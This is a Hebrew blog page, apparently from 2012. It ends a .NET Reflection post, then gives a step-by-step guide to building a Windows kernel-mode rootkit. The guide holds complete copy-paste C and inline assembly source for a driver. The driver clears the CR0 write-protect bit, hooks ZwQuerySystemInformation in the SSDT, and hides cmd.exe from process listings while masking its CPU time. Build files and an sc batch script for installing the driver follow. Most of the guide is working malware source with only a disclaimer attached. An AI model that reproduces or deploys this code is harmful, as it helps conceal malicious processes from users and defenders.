                                    object[] parametersArray = new object[] { "my information!" };
                                    object classInstance = Activator.CreateInstance(types[i], null);

                                    object res = methods[z].Invoke(classInstance, parametersArray);
                                }
                            }
                        }
                    }
                }

            }
        }



    ראינו כיצד ניתן להפוך את התוכנית למשהו גנרי אבל מצד שני הקוד שלנו חשוף וכל אחד יכול להפעיל אותו, הצגתי בעבר כיצד ניתן לעשות Disassembly לקבצי DLL שנוצרו ב .Net וה Reflection לוקח חלק חשוב בתהליך, לסיום החלטתי שזו הזדמנות טובה להראות את היכולות של ה Reflection בעזרת כלי קטן שמאפשר לנתח קבצי DLL בצורה נוחה ומהירה, בדומה לדוגמה הקודמת התוכנית מקבלת נתיב ל DLL ופורסת אותו, היא מראה את הפונקציות, המשתנים והאירועים של האובייקטים בקובץ.

    DLLReflector


    סיכום:

    אז כמו שכבר אמרתי בהתחלה בדרך כלל לא נמצא ל Reflection שימוש אלא במקרים מאוד מסויימים, ההתעסקות בניתוח האובייקט עלולה להפוך את התוכנית למסורבלת ואיטית ולכן כדאי לחשוב פעמיים לפני שבוחרים בדרך הזאת, אבל אין ספק שזה לוקח את האינטליגנציה של התוכנה צעד אחד קדימה.

    קוד להורדה:


    סקיינט?



    יום חמישי, 14 ביוני 2012

    Kernel Mode RootKit Guide


    מלחמת סייבר בפתח ולאחרונה התגלו וירוסים מסוג חדש שלא נראו עד כה, אחד מהם הוא Stuxnet שנחשף באיראן וגרם לבעיות בכור האטומי ואח"כ Flame שהוכרז לוירוס הריגול המשוכלל ביותר שנמצא, הוירוסים מנצלים חולשות אבטחה על מנת לקבל הרשאות גבוהות, סורקים מחשבים אחרים ומנסים להשתכפל , מחביאים את עצמם, משלבים את עצמם בקוד פיתוח וכו', מי בדיוק עומד מאחריהם זה לא ממש ברור אבל מה שבטוח כללי המשחק השתנו.

    במאמר זה נממש מנגנון הסואה על מנת להסתיר Process מעיני המשתמש בעזרת  KMDF - Kernel Mode Driver Foundation, כלומר הכתיבה שלנו תתמקד ב Kernel Space של מערכת ההפעלה יש דברים שאפשר לעשות רק שם.

    למה דווקא ב Kernel?
    זו לא הפעם הראשונה בה אנו נפגשים עם RootKit , ראינו כיצד לממש RootKit ב Manage Code וכך להשפיע על תוכניות שמשתמשות ב FrameWork של .Net, אבל לא כולם משתמשים ב .Net אבל כולם בטוח משתמשים ב Kernel לכן זו נקודה חשובה למחשבה, עוד נקודה חשובה, במרחב של ה User העבודה היא עם כתובות וירטואלית בזמן שב Kernel העבודה עם כתובות פיזיות ווירטואלית, נעבוד במצב Ring0  שבו אין מגבלות אבטחה בשביל שנוכל לשנות אוגרים (Register) וטבלאות פנימיות של המערכת.


    הודעה חשובה!
    התהליך שאנחנו הולכים לממש פה הוא תהליך מלוכלך ומסוכן שעלול לפגוע במערכת ההפעלה, ואיני לוקח אחריות על נזק שנגרם בעקבות השימוש או אופי השימוש, המאמר הזה מסביר את הרעיון ולא מעבר של RootKit וכיצד לממש אותו בסביבת ה Kernel של מערכת Windows, אם אתם בכל זאת רוצים לממש אותו מומלץ להשתמש במכונה וירטואלית.
    הקוד נוסה על מערכת Windows Xp / Server 2003.
    נקודת התחלה:
    בגדול אנחנו הולכים לבנות לנו Driver קטן שיותקן ל Kernel של ה Windows לכן אנחנו חייבים את ה Windows Driver Kit של Microsoft , זו סביבה שדרכה ניתן לכתוב Drivers ל Windows, אל תצפו ליותר מידי , לא מדובר על סביבה כמו Visual Studio (למרות שאפשר לחבר בניהם אבל זה לא מומלץ לפחות לא בגרסה 7600) יותר תחשבו על כיוון ה NotePad,  כמובן שמגיעים כלי Debug כמו ה KD - Kernel Debugger אבל אותם נשמור למאמרים אחרים, בגלל שאנחנו עובדים עם ה Kernel תשכחו מחלונות השגיאה הרגילים ותתרגלו ל BSOD - Blue Screen Of Death הותיק של Windows (למי שלא נתקל בו שיפסיק לקרוא עכשיו!), לכן אני חוזר שוב רצוי לעבוד על מכונה וירטואלית.

    תתארגנו יוצאים לדוג:
    לדוג (Hooking) הוא אחד המנגנונים המרכזיים ב RootKit, בעברית פשוטה אנחנו הולכים ל"חרטט" את המערכת שלנו, לא נתפוס בורי או נסיכת הנילוס אלא טבלה מאוד חשובה שמכילה מידע חיוני עבור המערכת ההפעלה שלנו, הטבלה נקראת SSDT או בשמה המלא System Service Dispatch Table , מה כלכך חשוב בטבלה הזאת, אתם שואלים? היא מכילה את כל הכתובות עבור ה System Calls שהן פונקציות שנתנות שירותים לתוכניות בעולם של User, החכה שלנו היא חולשה בקובץ ntoskrnl.exe שחושף Structure שמכיל בתוכו מצביע (Pointer) עבור טבלת ה SSDT שמכילה את כל הכתובות עבור הפונקציות ובצורה זו ניתן להחליף את הפונקציות של המערכת בפונקציות שלנו.





    אבל הדרך אל הדג לא פשוטה, הטבלה נעולה לכתיבה לכן חשוב להשתחרר מהמגבלה הזאת בעזרת שינוי האוגר (Register)  בשם CR0 - Control register של מעבדי אינטל (כבר אמרתי שאנחנו ב Kernel?) מכיל בתוכו  BIT להרשאות כתיבה למעבד לאיזורים המוגדרים כ Read Only (מצטער חברים, אסמבלי).


    void enableWP_CR0()
    {
    __asm
    {
    //save EBX
    PUSH EBX
    //put CR0 value inside Ebx
    MOV EBX,CR0
    //enable wp bit
    OR EBX,0x00010000
    // update CR0 with EBX value
    MOV CR0,EBX
    POP EBX
    }
    return;
    }


    void disableWP_CR0()
    {
    __asm
    {
    //save EBX
    PUSH EBX
    //put CR0 value inside Ebx
    MOV EBX,CR0
    //enable wp bit
    AND EBX,0xFFFEFFFF
    // update CR0 with EBX value
    MOV CR0,EBX
    POP EBX

    }
    return;
    }


    ZwQuerySystemInformation
    זאת הפונקציה שאותה אנחנו הולכים לחרטט ולהכניס את ה RootKit לפעולה, אז אחרי שקיבלנו מצביע ל SSDT צריך לחפש את הפונקציה בטבלה ולהחליף את הכתובת שלה לפונקציה החדשה שלנו,  כאשר מתבצעת בקשה למידע על המערכת מה user (נניח שה Task Manager רוצה מידע על ה Processes) מופעלת הפונקציה ומחזירה את המידע על בסיס Enum שמסווג את סוגי הבקשות ועל פי הסוג משתנה האובייקט החוזר בפונקציה.

    SystemBasicInformation 0
    SystemPerformanceInformation  2
    SystemTimeOfDayInformation 3
    SystemProcessInformation 5
    SystemProcessorPerformanceInformation 8
    SystemInterruptInformation 23
    SystemExceptionInformation 33
    SystemRegistryQuoataInformation 37
    SystemLookasideInformation 45


    השורות המסומנות באדום מתארות את המצבים בהם אנו רוצים להתערב בבקשה שמגיעה מה user, הבקשה SystemProcessInformation מחזירה לנו מערך אובייקטים שמכיל את כל המידע עבור ה Processes , בעצם מדובר על רשימה מקושרת שמצביעה לאובייקט הבא עד שהוא אפס ( NextEntryOffset) , אנחנו נחפש את ה Process המבוקש עד שנמצא אותו ונשנה את ה NextEntryOffset ל Process שהיה לפניו שיצביע לזה שאחריו.









    //process information structure
    typedef struct _SYSTEM_PROCESS_INFO
    {
    //the next entry address
    ULONG NextEntryOffset;
    //number of threads used in process
    ULONG NumberOfThreads;

    ULONG Reserved[6];
            //process timers
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;

           UNICODE_STRING ProcessName;
    KPRIORITY BasePriortiy;
    HANDLE UniqueProcessId;

    PVOID Reserved3;
    //total number of handles used by this process
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    //maximum number of bytes used by this process
    SIZE_T PeakPagefileUsage;
    //number of memory page allocated for this process
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];

    }SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;

    הבקשה הבא SystemProcessorInformation מחזירה מבנה של זמני ה Cpu  שמאפשר לנו להסתיר את ה RootKit , ברגע שנגלה את ה Process שאנחנו רוצים להסתיר, נשמור את נתוני הזמנים של המעבד עבור ה Process בפרמטר ונוסיף אותו לשעון ה Idle כאשר תגיע בקשה.

    //array of element for each processor
    //handle system idles time
    typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
    {
    LARGE_INTEGER IdleTime;
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER Reserved1[2];
    ULONG Reserved2;
    }SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;



    קוד:
    זהו הגענו לרגע האמת, השתדלתי לתאר את הקוד כמה שאפשר, למידע נוסף אני ממליץ מאוד על הספר The Rookit Arsenal ספר מעולה בנושא , לאחר ההתקנה של ה WDK ניצור תיקייה חדשה בתיקיית src  וניצור קובץ חדש בעזרת ה notepad , נעתיק את הקוד ונשמור אותו בסיומת c.

    //copy and paste to your new folder inside the src directory
    #include <ntddk.h>

    //basic driver datatype
    typedef unsigned long DWORD;
    typedef unsigned short WORD;
    typedef unsigned char BYTE;


    #pragma pack(1)
    //the structure of ServiceDescriptorEntry exported
    //symbol of KeServiceDescriptorTable 
    typedef struct ServiceDescriptorEntry
    {
    //address to System Service Dispatch Table
    DWORD *KiServiceTable;
    DWORD *CounterBaseTable;
    DWORD nSystemCalls;
    DWORD *KiArgumentTable;
    } SDE,*PSDE;
    #pragma pack()

    //symbol exported from ntoskrnl.dll
    //exported symbol from ntoskrnl.exe 
    __declspec(dllimport) SDE KeServiceDescriptorTable;
    PVOID *systemCallTable;

    NTSYSAPI
    NTSTATUS
    //the orginal system call prototype
    NTAPI ZwQuerySystemInformation
    (
    IN ULONG SystemInformationClass,
    IN PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength
    );

    //save the address of the existing system call
    typedef NTSTATUS (*ZwQuerySystemInformationPtr)
    (
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

    //holding the original call
    ZwQuerySystemInformationPtr oldZwQuerySystemInformation;

    //process information structure
    typedef struct _SYSTEM_PROCESS_INFO
    {
    //the next entry address
    ULONG NextEntryOffset;
    //number of threads used in process
    ULONG NumberOfThreads;

    ULONG Reserved[6];
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ProcessName;
    KPRIORITY BasePriortiy;

    HANDLE UniqueProcessId;
    PVOID Reserved3;
    //total number of handles used by this process
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    //maximum number of bytes used by this process
    SIZE_T PeakPagefileUsage;
    //number of memory page allocated for this process
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];

    }SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO;

    //array of element for each processor
    //handle system idles time
    typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFO
    {
    LARGE_INTEGER IdleTime;
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER Reserved1[2];
    ULONG Reserved2;
    }SYSTEM_PROCESSOR_PERFORMANCE_INFO,*PSYSTEM_PROCESSOR_PERFORMANCE_INFO;


    // * [part of system_information_class enum]
    //#define SystemBasicInformation 0
    //#define SystemPerformanceInformation  2
    //#define SystemTimeOfDayInformation 3
    #define SystemProcessInformation 5
    #define SystemProcessorPerformanceInformation 8
    //#define SystemInterruptInformation 23
    //#define SystemExceptionInformation 33
    //#define SystemRegistryQuoataInformation 37
    //#define SystemLookasideInformation 45

    LARGE_INTEGER timeHiddenUser;
    LARGE_INTEGER timeHiddenKernel;

    //implement the hook routine
    NTSTATUS newZwQuerySystemInformation
    (
    IN ULONG SystemInformationClass,
    IN PVOID SystemInformation,
    IN ULONG SystemInformationLength,
    OUT PULONG ReturnLength)
    {
    NTSTATUS ntStatus;
    PSYSTEM_PROCESS_INFO cSPI;
    PSYSTEM_PROCESS_INFO pSPI;

    //begin to call to orginal prototype for checking
    //if ntStatus no equal NT_SUCESS quit
    ntStatus = ((ZwQuerySystemInformationPtr)(oldZwQuerySystemInformation))
    (
    SystemInformationClass,
    SystemInformation,
    SystemInformationLength,
    ReturnLength
    );

    if(!NT_SUCCESS(ntStatus)){ return (ntStatus);}

    //check SystemInformationClass equal to SystemProcessorPerformanceInformation(8)
    //if the query is SystemProcessorPerformanceInformation
    //we need to update the system idle time
    if(SystemInformationClass == SystemProcessorPerformanceInformation)
    {
    PSYSTEM_PROCESSOR_PERFORMANCE_INFO timeObject;
    LONGLONG extraTime;

    timeObject = (PSYSTEM_PROCESSOR_PERFORMANCE_INFO)SystemInformation;
    extraTime = timeHiddenUser.QuadPart + timeHiddenKernel.QuadPart;
    (*timeObject).IdleTime.QuadPart = (*timeObject).IdleTime.QuadPart + extraTime;
    }

    //checking if the call not equal to SystemProcessInformation, and exit
    if(SystemInformationClass != SystemProcessInformation){ return (ntStatus);}

    //getting the SystemInformation
    cSPI = (PSYSTEM_PROCESS_INFO)SystemInformation;
    pSPI = NULL;

    while(cSPI != NULL)
    {
            //if process name is null this is the
    //Idle Process we add the hidden process Kernel/User times
    if((*cSPI).ProcessName.Buffer == NULL)
    {
    (*cSPI).UserTime.QuadPart = (*cSPI).UserTime.QuadPart + timeHiddenUser.QuadPart;
    (*cSPI).KernelTime.QuadPart = (*cSPI).KernelTime.QuadPart + timeHiddenKernel.QuadPart;

    timeHiddenUser.QuadPart = 0;
    timeHiddenKernel.QuadPart = 0;

    }

    else
    {
    if(memcmp((*cSPI).ProcessName.Buffer,L"cmd.exe",10)==0)
    {
    //get the time of the hidden process and save it
    timeHiddenUser.QuadPart = timeHiddenUser.QuadPart + (*cSPI).UserTime.QuadPart;
    timeHiddenKernel.QuadPart = timeHiddenKernel.QuadPart +  (*cSPI).KernelTime.QuadPart;


    if(pSPI != NULL)
    {
    if((*cSPI).NextEntryOffset == 0)
    {
    //this is the last element in the array
    (*pSPI).NextEntryOffset = 0;
    }
    else
    {
    //rewirte the previous SPI
    //entryoffset to point to the next
    //element after the hidden process
    (*pSPI).NextEntryOffset = (*pSPI).NextEntryOffset + (*cSPI).NextEntryOffset;
    }
    }
    else
    {
                                       //if the first element in the array
    //that we need to hidden increase the pointer
    //to the next element
    (BYTE *)SystemInformation = ((BYTE*)SystemInformation) + (*cSPI).NextEntryOffset;

    }
    }
    }

    //set the current entry to hold in the 
    //previous entry
    pSPI = cSPI;

    //move to the next element in the array
    //setting null if is the last item in the array
    if((*cSPI).NextEntryOffset != 0)
    {
    (BYTE *)cSPI = ((BYTE *)cSPI) + (*cSPI).NextEntryOffset;
    }
    else{cSPI = NULL;}

    }


    }


    //return the system call index number 
    //from the SSDT table
    DWORD getSSDTIndex(BYTE * address)
    {
    BYTE* addressOfIndex;
    DWORD  indexValue;

    addressOfIndex = address +1;
    indexValue = *((PULONG)addressOfIndex);
    return (indexValue);
    }

    //make the hook to SSDT sending the orignal call address
    //sending the hook call pointer export the system call number
    //update the SSDT function address by the index
    //in the table and change the function address 
    //to the new hook function
    BYTE * hookSSDT(BYTE* apiCall,BYTE* oldAddr, DWORD* callTable)
    {
    PLONG target;
    DWORD indexValue;

    //get system call number by apiCall pointer
    indexValue = getSSDTIndex(apiCall);
    target = (PLONG) &(callTable[indexValue]);
    //sets a 32-bit variable to the specified value as an atomic operation.
    //send pointer to the value and new value
    //lock free algorithms, exclusive access
    return ((BYTE*)InterlockedExchange(target,(LONG)oldAddr));
    }

    //unhooking the SSDT sending the orignal call address
    //sending the orignal call pointer export the system call number
    //update the SSDT function address by the index
    //in the table and change the function address 
    //to the orignal call function
    void unHookSSDT(BYTE* apiCall,BYTE* newAddr, DWORD* callTable)
    {
    PLONG target;
    DWORD indexValue;

    //send ZwQuerySystemInformation , as the system call number
    indexValue = getSSDTIndex(apiCall);
    target = (PLONG) &(callTable[indexValue]);
    //sets a 32-bit variable to the specified value as an atomic operation.
    //send pointer to the value and new value lock free algorithms, exclusive access
    InterlockedExchange(target,(LONG)newAddr);
    }

    //enable CPU to access read only pages
    void enableWP_CR0()
    {
    __asm
    {
    PUSH EBX //save EBX
    MOV EBX,CR0 //put CR0 value inside eax
    OR EBX,0x00010000 //enable wp bit
    MOV CR0,EBX // update CR0 with EBX value
    POP EBX
    }
    return;
    }

    //disable CPU to access read only pages
    void disableWP_CR0()
    {
    __asm
    {
    PUSH EBX //save EBX
    MOV EBX,CR0 //put CR0 value inside eax
    AND EBX,0xFFFEFFFF //Disable wp bit
    MOV CR0,EBX // update CR0 with EBX value
    POP EBX

    }
    return;
    }


    //unload the hook and return to normal
    //enable write protected to SSDT
    VOID Unload(IN PDRIVER_OBJECT DriverObject)
    {
    unHookSSDT
    (
    (BYTE*)ZwQuerySystemInformation,
    (BYTE*)oldZwQuerySystemInformation,
    (DWORD*)systemCallTable
    );

    enableWP_CR0();

    return;
    }

    //the main driver entry
    NTSTATUS DriverEntry
    (
    IN PDRIVER_OBJECT pDriverObject,
    IN PUNICODE_STRING theRegisteryPath
    )
    {
        //set DriverUnload function pointer
    (*pDriverObject).DriverUnload = Unload;

    //disable the write protected of SSDT
    disableWP_CR0();

    //getting the SSDT address
    systemCallTable = (BYTE*)KeServiceDescriptorTable.KiServiceTable;

    //hooking the SSDT send the systemCallTable
    //(holding the SSDT address)
    oldZwQuerySystemInformation = (ZwQuerySystemInformationPtr)hookSSDT
    (
            //the address of the original call
    (BYTE*)ZwQuerySystemInformation,
    //the address of the original call address
    (BYTE*)newZwQuerySystemInformation,
    //the SSDT table return from the export symbol
    //KeServiceDescriptorTable.KiServiceTable
    (DWORD*)systemCallTable
    );

    return STATUS_SUCCESS;
    }


    לאחר Build בעזרת ה WDK נוצרה לנו תיקיית I386 שבתוכה יש את הקובץ הבינארי בסיומת sys שאותו נתקין בעזרת קובץ אצווה (Batch File), ניצור קובץ חדש ב Notepad ,נרשום בו את השורות הבאות ונשמור אותו בסיומת bat:

    sc create mydriver type= filesys binPath= C:\WinDDK\7600.16385.1\src\MDL3\i386\srv3.sys
    sc start mydriver
    pause
    sc stop mydriver
    sc delete mydriver
    pause

    למי שלא מכיר את סביבת ה WDK לאחר ההתקנה יש ליצור תיקייה חדשה בתיקיית src וליצור 2 קבצים ללא סיומת הראשון הוא source שבו נגדיר את קובץ שאליו העתקנו את הקוד של ה Rootkit לדוגמה:

    TARGETNAME=srv3
    TARGETPATH=.
    TARGETTYPE=DRIVER
    SOURCES=kmd.c

    INCLUDES=.
    MSC_WARNING_LEVEL=/W0

    הקובץ השני נקרא Makefile שהוא קובץ שכל  Driver בסביבת WDK צריך לירוש, נעתיק אליו את השורה ונשמור אותו:

    !INCLUDE $(NTMAKEENV)\makefile.def

    סיכום:
    אין ספק ש Rootkit הוא אחד הדברים המפחידים בתחום אבטחת המידע, היכולת להחזיר מידע כוזב למשתמש עלולה להביא לסכנת חיים ממשית ובעתיד נראה יותר ויותר Rootkit מתוחכמים , אין ספק שבניית Rootkit הוא עסק מורכב מאוד בסביבת ה Kernel וצריך לבצע מחקר רציני בהנדסה לאחור על מנת למצוא את החולשה המתאימה עבור ה Rootkit , אבל אל תשכחו שמול ה RootKit עומד אנטי וירוס וגם הוא מסתובב לו ב Kernel בשביל לחפש דברים מהסוג הזה.

    קצת מפחיד לא?